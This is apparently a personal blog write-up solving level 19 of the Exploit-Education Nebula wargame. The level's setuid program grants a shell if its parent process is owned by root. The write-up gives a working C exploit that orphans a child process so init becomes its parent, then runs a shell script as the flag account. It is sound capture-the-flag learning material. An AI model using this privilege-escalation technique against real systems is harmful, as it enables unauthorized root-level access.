Exploit-Education Nebula Level 19

3 minute read

Exploit Education Level 19

Challenge

There is a flaw in the below program in how it operates.

To do this level, log in as the level19 account with the password level19. Files for this level can be found in /home/flag19.

Vulnerability

This is an odd vulnerability and it happens due too how linux system operated.

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

So the program will execute a shell if we run the program is root. But how can we run it as root?. There is a concept of process inheritance in Linux.

Each process has a parent, and a parent process can have multiple children. The exception to this rule is the init process, which is started at system boot. The init process is its own parent and is the parent, either directly or indirectly, of all other processes running on the system. This process is run as root and it’s Process ID (PID) is 1: Lets take a look at the program.

level19@nebula:~$ ps aux |grep 'PID\|init' 
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.3   3200  1796 ?        Ss   11:32   0:00 /sbin/init
level19   1336  0.0  0.1   4156   552 pts/0    R+   11:45   0:00 grep --color=auto PID\|init

If a process spawns a new child (e.g. through the fork() system call in C), it becomes the parent of that child process. If the parent is killed before the child, the child process is said to become an orphan process. All orphan processes are adopted by init.

Source (yeah I know its another writeup. But I had no clue how this stuff works do i had to look up for other writeups. )

So if we can run a program that will create a child process and if the parent process dies before the child process we will have PID of 1. And then we can exploit this line.

/* Get the parent's /proc entry, so we can verify its user id */
 
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

The getpid() will return the PID of root.
Lets write a program that will spawn a child and then we can make the child sleep while the parent exits. (This sentence sounds a bit weird)

#include <stdio.h>
#include <unistd.h>

int main(void){
  pid_t pid=fork();
  if(pid==0) /*child process*/
  {
        char *cmd = "/home/flag19/flag19";
        char *args[] = { "/bin/sh","-c","/tmp/run.sh"};

        sleep(3);
        printf("Pid: %d\n", getppid());
        execv(cmd,args);
        return 0;
  }
  else /*parent process*/
  {
        return 0;
  }
}

This program will run the flag19 program and it will execute the contents of run.sh file. The run.sh file will run the getflag command and save the output to a file named /tmp/out.
Let try it out.

level19@nebula:/tmp$ cat run.sh 
getflag > /tmp/out
level19@nebula:~$ gcc fork.c
level19@nebula:~$ ./a.out
level19@nebula:~$ Pid: 1

level19@nebula:~$

So we have PID of 1. Lets check the output of /tmp/out

level19@nebula:/tmp$ cat out
You have successfully executed getflag on a target account

Solved!

After Thoughts

Haw mahn that was a hell of a ride. I have finally completed the nebula section of Exploit-Education. I am planning to continue with Fusion or maybe something else. I wouldn’t say that I enjoyed every level (because sometimes i get frustrated when i can’t find any vulnerability. Yeah i know its part of the learning and i am working on it) but I definitely learned a lot of strange ways to exploit programs.